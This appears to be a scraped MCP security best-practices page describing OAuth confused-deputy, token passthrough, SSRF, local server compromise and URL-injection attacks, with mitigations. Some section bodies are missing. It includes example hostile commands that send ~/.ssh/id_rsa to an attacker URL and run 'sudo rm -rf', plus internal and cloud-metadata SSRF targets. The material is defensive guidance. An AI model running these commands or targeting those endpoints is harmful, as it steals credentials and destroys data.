Security Best Practices

​

Introduction

​

Purpose and Scope

​

Attacks and Mitigations

​

Confused Deputy Problem

​

Terminology

​

Vulnerable Conditions

• MCP proxy server uses a static client ID with a third-party authorization server
• MCP proxy server allows MCP clients to dynamically register (each getting their own client_id)
• The third-party authorization server sets a consent cookie after the first authorization
• MCP proxy server does not implement proper per-client consent before forwarding to third-party authorization

​

Architecture and Attack Flows

Normal OAuth proxy usage (preserves user consent)

Malicious OAuth proxy usage (skips user consent)

​

Attack Description

1. A user authenticates normally through the MCP proxy server to access the third-party API
2. During this flow, the third-party authorization server sets a cookie on the user agent indicating consent for the static client ID
3. An attacker later sends the user a malicious link containing a crafted authorization request which contains a malicious redirect URI along with a new dynamically registered client ID
4. When the user clicks the link, their browser still has the consent cookie from the previous legitimate request
5. The third-party authorization server detects the cookie and skips the consent screen
6. The MCP authorization code is redirected to the attacker’s server (specified in the malicious redirect_uri parameter during dynamic client registration)
7. The attacker exchanges the stolen authorization code for access tokens for the MCP server without the user’s explicit approval
8. The attacker now has access to the third-party API as the compromised user

​

Mitigation

Consent Flow Implementation

Required Protections

• Maintain a registry of approved client_id values per user
• Check this registry before initiating the third-party authorization flow
• Store consent decisions securely (server-side database, or server specific cookies)

• Clearly identify the requesting MCP client by name
• Display the specific third-party API scopes being requested
• Show the registered redirect_uri where tokens will be sent
• Implement CSRF protection (e.g., state parameter, CSRF tokens)
• Prevent iframing via frame-ancestors CSP directive or X-Frame-Options: DENY to prevent clickjacking

• Use __Host- prefix for cookie names
• Set Secure, HttpOnly, and SameSite=Lax attributes
• Be cryptographically signed or use server-side sessions
• Bind to the specific client_id (not just “user has consented”)

• Validate that the redirect_uri in authorization requests exactly matches the registered URI
• Reject requests if the redirect_uri has changed without re-registration
• Use exact string matching (not pattern matching or wildcards)

• Generate a cryptographically secure random state value for each authorization request
• Store the state value server-side (in a secure session store or encrypted cookie) only after consent has been explicitly approved
• Set the state tracking cookie/session immediately before redirecting to the third-party identity provider (not before consent approval)
• Validate at the callback endpoint that the state query parameter exactly matches the stored value in the callback request’s cookies or in the request’s cookie-based session
• Reject any callback requests where the state parameter is missing or does not match
• Ensure state values are single-use (delete after validation) and have a short expiration time (e.g., 10 minutes)

​

Token Passthrough

1. Audience validation failures. When an MCP server doesn’t verify that tokens were specifically intended for it (for example, via the audience claim, as mentioned in RFC9068), it may accept tokens originally issued for other services. This breaks a fundamental OAuth security boundary, allowing attackers to reuse legitimate tokens across different services than intended.
2. Token passthrough. If the MCP server not only accepts tokens with incorrect audiences but also forwards these unmodified tokens to downstream services, it can potentially cause the “confused deputy” problem, where the downstream API may incorrectly trust the token as if it came from the MCP server or assume the token was validated by the upstream API.

​

Risks

• Security Control Circumvention
  • The MCP Server or downstream APIs might implement important security controls like rate limiting, request validation, or traffic monitoring, that depend on the token audience or other credential constraints. If clients can obtain and use tokens directly with the downstream APIs without the MCP server validating them properly or ensuring that the tokens are issued for the right service, they bypass these controls.
• Accountability and Audit Trail Issues
  • The MCP Server will be unable to identify or distinguish between MCP Clients when clients are calling with an upstream-issued access token which may be opaque to the MCP Server.
  • The downstream Resource Server’s logs may show requests that appear to come from a different source with a different identity, rather than the MCP server that is actually forwarding the tokens.
  • Both factors make incident investigation, controls, and auditing more difficult.
  • If the MCP Server passes tokens without validating their claims (e.g., roles, privileges, or audience) or other metadata, a malicious actor in possession of a stolen token can use the server as a proxy for data exfiltration.
• Trust Boundary Issues
  • The downstream Resource Server grants trust to specific entities. This trust might include assumptions about origin or client behavior patterns. Breaking this trust boundary could lead to unexpected issues.
  • If the token is accepted by multiple services without proper validation, an attacker compromising one service can use the token to access other connected services.
• Future Compatibility Risk
  • Even if an MCP Server starts as a “pure proxy” today, it might need to add security controls later. Starting with proper token audience separation makes it easier to evolve the security model.

​

Mitigation

​

Server-Side Request Forgery (SSRF)

​

Attack Description

1. The resource_metadata URL from the WWW-Authenticate header
2. The authorization_servers URLs from the Protected Resource Metadata document
3. The token_endpoint, authorization_endpoint, and other URLs from Authorization Server Metadata

• Direct internal IP access: URLs like http://192.168.1.1/admin or http://10.0.0.1/api target internal network services
• Cloud metadata endpoints: URLs targeting http://169.254.169.254/ (AWS/GCP/Azure metadata service) can exfiltrate cloud credentials and instance information
• Localhost services: URLs like http://localhost:6379/ can interact with local services (Redis, databases, admin panels)
• DNS rebinding: Domains that change DNS resolution between validation and use (e.g., https://attacker.com resolving to a safe IP initially, then to 192.168.1.1)
• Redirect chains: Normal-looking URLs that redirect to internal resources

​

Risks

• Credential exfiltration: Cloud metadata endpoints often expose IAM credentials, API keys, and other secrets
• Internal network reconnaissance: Error messages reveal information about internal network topology and services
• Service interaction: POST requests (e.g., to token endpoints) can trigger mutations on internal services
• Firewall bypass: The MCP client acts as a proxy, bypassing network perimeter controls
• Data exfiltration: Internal service responses may be reflected back to attackers through error messages or OAuth flows

​

Mitigation

• Reject http:// URLs except for loopback addresses (localhost, 127.0.0.1, ::1) during development
• This aligns with OAuth 2.1 Section 1.5 which requires HTTPS for all OAuth protocol URLs except loopback redirect URIs
• Provide an explicit opt-out mechanism for development/testing scenarios

• Private IPv4 ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
• Loopback: 127.0.0.0/8, ::1 (except when explicitly allowed for development)
• Link-local: 169.254.0.0/16 (including cloud metadata endpoints)
• Private IPv6 ranges: fc00::/7, fe80::/10

• Do not blindly follow redirects to internal resources
• Apply HTTPS and IP range restrictions to redirect destinations
• Consider disabling automatic redirect following and validating each hop

• Route OAuth discovery requests through a proxy that blocks internal destinations
• Use tools like Smokescreen or similar egress proxies that prevent SSRF by design
• Configure network policies to restrict the MCP client’s outbound access

• An attacker’s domain may resolve to a safe IP during validation but to an internal IP during the actual request
• Consider pinning DNS resolution results between check and use
• Defense in depth: combine DNS checks with other mitigations

​

SSRF Against Authorization Servers

​

Resources and Tools

• OWASP SSRF Prevention Cheat Sheet: Comprehensive guidance on SSRF prevention techniques, including input validation, allowlist strategies, and network-level controls
• OWASP Top 10 A10:2021 - SSRF: SSRF in the context of the most critical web application security risks

​

State Handle Hijacking

​

Attack Description

1. The MCP server mints a state handle for an authenticated user and returns it in a tool result.
2. The attacker obtains or guesses the handle.
3. The attacker calls the MCP server’s tools with the handle as an argument.
4. The MCP server does not check whether the handle belongs to the caller and operates on the original user’s state, allowing unauthorized access or actions.

​

Mitigation

​

Local MCP Server Compromise

​

Attack Description

1. An attacker includes a malicious “startup” command in a client configuration
2. An attacker distributes a malicious payload inside the server itself
3. An attacker accesses an insecure local server that’s left running on localhost via DNS rebinding

# Data exfiltration
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location

# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"

​

Risks

• Arbitrary code execution. Attackers can execute any command with MCP client privileges.
• No visibility. Users have no insight into what commands are being executed.
• Command obfuscation. Malicious actors can use complex or convoluted commands to appear legitimate.
• Data exfiltration. Attackers can access legitimate local MCP servers via compromised JavaScript.
• Data loss. Attackers or bugs in legitimate servers could lead to irrecoverable data loss on the host machine.

​

Mitigation

• Show the exact command that will be executed, without truncation (include arguments and parameters)
• Clearly identify it as a potentially dangerous operation that executes code on the user’s system
• Require explicit user approval before proceeding
• Allow users to cancel the configuration

• Highlight potentially dangerous command patterns (e.g., commands containing sudo, rm -rf, network operations, file system access outside expected directories)
• Display warnings for commands that access sensitive locations (home directory, SSH keys, system directories)
• Warn that MCP servers run with the same privileges as the client
• Execute MCP server commands in a sandboxed environment with minimal default privileges
• Launch MCP servers with restricted access to the file system, network, and other system resources
• Provide mechanisms for users to explicitly grant additional privileges (e.g., specific directory access, network access) when needed
• Use platform-appropriate sandboxing technologies (containers, chroot, application sandboxes, etc.)
• Keep sandboxing solutions up-to-date to account for emerging vulnerabilities

• Use the stdio transport to limit access to just the MCP client
• Restrict access if using an HTTP transport, such as:
  • Require an authorization token
  • Use unix domain sockets or other Interprocess Communication (IPC) mechanisms with restricted access

​

OAuth Authorization URL Validation

​

Attack Description

1. A malicious MCP server provides a javascript: URL as the authorization endpoint
2. The MCP client passes this URL directly to window.open() or similar browser APIs
3. The browser executes the JavaScript code embedded in the URL
4. The attacker gains JavaScript execution context within the client application, potentially leading to session hijacking, credential theft, or further exploitation

1. A malicious MCP server provides a URL containing shell command injection payloads
2. The MCP client uses shell commands (e.g., cmd.exe, PowerShell, or shell scripts) to open the URL
3. The shell interprets parts of the URL as additional commands to execute
4. The attacker achieves arbitrary code execution on the user’s system

​

Risks

• Cross-Site Scripting (XSS). Malicious JavaScript execution can lead to session hijacking, credential theft, and unauthorized actions within the client application.
• Remote Code Execution (RCE). Command injection through shell execution allows attackers to run arbitrary code with user privileges.
• Privilege Escalation. XSS combined with stdio transport can escalate web-based attacks to full system compromise.
• Data Exfiltration. Attackers can access sensitive data, configuration files, and credentials stored on the user’s system.
• Persistence. Attackers can install malware, create backdoors, or modify system configurations for persistent access.

​

Mitigation

• MUST only allow http:// and https:// schemes for authorization URLs. The http:// scheme is acceptable only for loopback addresses (such as localhost, 127.0.0.1, or ::1) during local development; authorization servers in production MUST use https://.
• MUST reject javascript:, data:, file:, vbscript:, and other potentially dangerous schemes
• SHOULD use allowlist-based validation rather than blocklist-based approaches

• MUST NOT use shell commands (e.g., cmd.exe, sh, PowerShell) to open URLs
• SHOULD use platform-specific, non-shell URL opening mechanisms

• Set script-src 'self' to prevent execution of inline JavaScript
• Use default-src 'self' to restrict resource loading
• Consider script-src 'nonce-<random>' for dynamic content that requires inline scripts

• Implement strict URL parsing and validation
• Reject URLs with special characters that could be interpreted by shells
• Consider using dedicated URL sanitization libraries
• Log suspicious authorization URLs for security monitoring

​

stdio Transport Security in Proxy Scenarios

​

Attack Description

1. Attacker achieves XSS or other client-side code execution (e.g., through OAuth URL vulnerabilities)
2. Using the attack vector above, the malicious actor accesses the MCP proxy authentication token established between the client and the proxy from the client’s environment
3. Malicious actor makes authenticated requests to the local MCP proxy service
4. Proxy spawns arbitrary commands via the stdio transport (believing they are legitimate MCP server commands)
5. Attacker achieves Remote Code Execution with user privileges

​

Risks

• Privilege Escalation. Web-based vulnerabilities (XSS) can escalate to arbitrary code execution on the host system through proxy command execution
• Authentication Bypass. Stolen proxy authentication tokens allow unauthorized access to stdio process spawning capabilities
• System Compromise. Attackers can execute any command that the MCP proxy process has privileges to run

​

Mitigation

• Implement the mitigations described in OAuth Authorization URL Validation
• Use Content Security Policy (CSP) to prevent JavaScript execution from untrusted sources
• Validate and sanitize all input from MCP servers before processing

• Implement sandboxing or containerization for spawned processes
• Restrict file system access for spawned MCP servers
• Log all stdio transport usage for security monitoring
• Require additional authorization for potentially dangerous commands

• Isolate proxy communication in a separate security context when possible
• Use principle of least privilege for proxy process permissions
• Implement process-level sandboxing for the proxy service itself
• Consider running the proxy in a container or restricted environment

​

Mix-Up Attacks

​

Attack Description

​

Mitigation

​

Localhost Redirect URI Impersonation

​

Attack Description

1. Providing the legitimate client’s metadata URL as their client_id
2. Binding to any localhost port, and providing that address as the redirect_uri
3. Receiving the authorization code via the redirect when the user approves

​

Mitigation

​

CIMD Trust Policies

• Allowlists for trusted domains (for protected servers)
• Accept any HTTPS client_id (for open servers)
• Reputation checks for unknown domains
• Restrictions based on domain age or certificate validation
• Display the CIMD and other associated client hostnames prominently to prevent phishing

​

Scope Minimization

​

Attack Description

​

Risks

• Expanded blast radius: stolen broad token enables unrelated tool/resource access
• Higher friction on revocation: revoking a max-privilege token disrupts all workflows
• Audit noise: single omnibus scope masks user intent per operation
• Privilege chaining: attacker can immediately invoke high-risk tools without further elevation prompts
• Consent abandonment: users decline dialogs listing excessive scopes
• Scope inflation blindness: lack of metrics makes over-broad requests normalised

​

Mitigation

• Minimal initial scope set (e.g., mcp:tools-basic) containing only low-risk discovery/read operations
• Incremental elevation via targeted WWW-Authenticate scope="..." challenges when privileged operations are first attempted
• Down-scoping tolerance: server should accept reduced scope tokens; auth server MAY issue a subset of requested scopes

• Emit precise scope challenges; avoid returning the full catalog
• Log elevation events (scope requested, granted subset) with correlation IDs

• Minimum approach: Include only the scopes required for the specific operation that triggered the error.
• Recommended approach: Include the scopes required for the current operation along with related scopes that commonly work together, to reduce the number of step-up authorization rounds.
• Extended approach: Include the scopes required for the current operation, related scopes, and any other scopes the server anticipates the client may need in the near future.

• Begin with only baseline scopes (or those specified by initial WWW-Authenticate)
• Cache recent failures to avoid repeated elevation loops for denied scopes

​

Common Mistakes

• Publishing all possible scopes in scopes_supported
• Using wildcard or omnibus scopes (*, all, full-access)
• Bundling unrelated privileges to preempt future prompts
• Returning entire scope catalog in every challenge
• Silent scope semantic changes without versioning
• Treating claimed scopes in token as sufficient without server-side authorization logic